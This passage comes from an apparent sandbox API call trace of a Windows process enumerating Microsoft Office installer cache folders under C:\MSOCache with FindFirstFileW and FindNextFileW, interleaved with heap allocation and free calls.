ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0064.172] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0064.172] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0064.172] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0064.172] FindClose (in: hFindFile=0x5768c0 | out: hFindFile=0x5768c0) returned 1 [0064.175] GetProcessHeap () returned 0x550000 [0064.175] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0064.175] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0064.175] GetProcessHeap () returned 0x550000 [0064.175] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0064.175] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5768c0 [0064.177] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.177] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0064.177] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0064.178] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0064.178] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0064.178] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0064.178] FindClose (in: hFindFile=0x5768c0 | out: hFindFile=0x5768c0) returned 1 [0064.178] GetProcessHeap () returned 0x550000 [0064.178] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0064.178] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0064.179] GetProcessHeap () returned 0x550000 [0064.179] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0064.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5768c0 [0064.185] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.185] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0064.186] GetProcessHeap () returned 0x550000 [0064.186] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2673098 [0064.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x576900 [0064.188] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.188] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0064.189] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0064.189] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0064.189] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0064.189] FindClose (in: hFindFile=0x576900 | out: hFindFile=0x576900) returned 1 [0064.189] GetProcessHeap () returned 0x550000 [0064.189] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2673098 | out: hHeap=0x550000) returned 1 [0064.189] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0064.190] GetProcessHeap () returned 0x550000 [0064.190] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2673098 [0064.190] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x576900 [0064.191] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.191] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0064.192] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0064.192] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0064.192] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0064.192] FindClose (in: hFindFile=0x576900 | out: hFindFile=0x576900) returned 1 [0064.192] GetProcessHeap () returned 0x550000 [0064.192] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2673098 | out: hHeap=0x550000) returned 1 [0064.192] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0064.193] GetProcessHeap () returned 0x550000 [0064.193] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2673098 [0064.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x576900 [0064.193] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.194] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0064.194] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0064.194] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0064.194] FindNextFileW (in: hFindFile=0x576900, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0064.194] FindClose (in: hFindFile=0x576900 | out: hFindFile=0x576900) returned 1 [0064.194] GetProcessHeap () returned 0x550000 [0064.195] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2673098 | out: hHeap=0x550000) returned 1 [0064.195] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0064.195] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0064.195] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0064.195] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0064.196] FindClose (in: hFindFile=0x5768c0 | out: hFindFile=0x5768c0) returned 1 [0064.196] GetProcessHeap () returned 0x550000 [0064.196] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0064.196] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0064.196] GetProcessHeap () returned 0x550000 [0064.196] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0064.196] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56aa50 [0065.476] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, 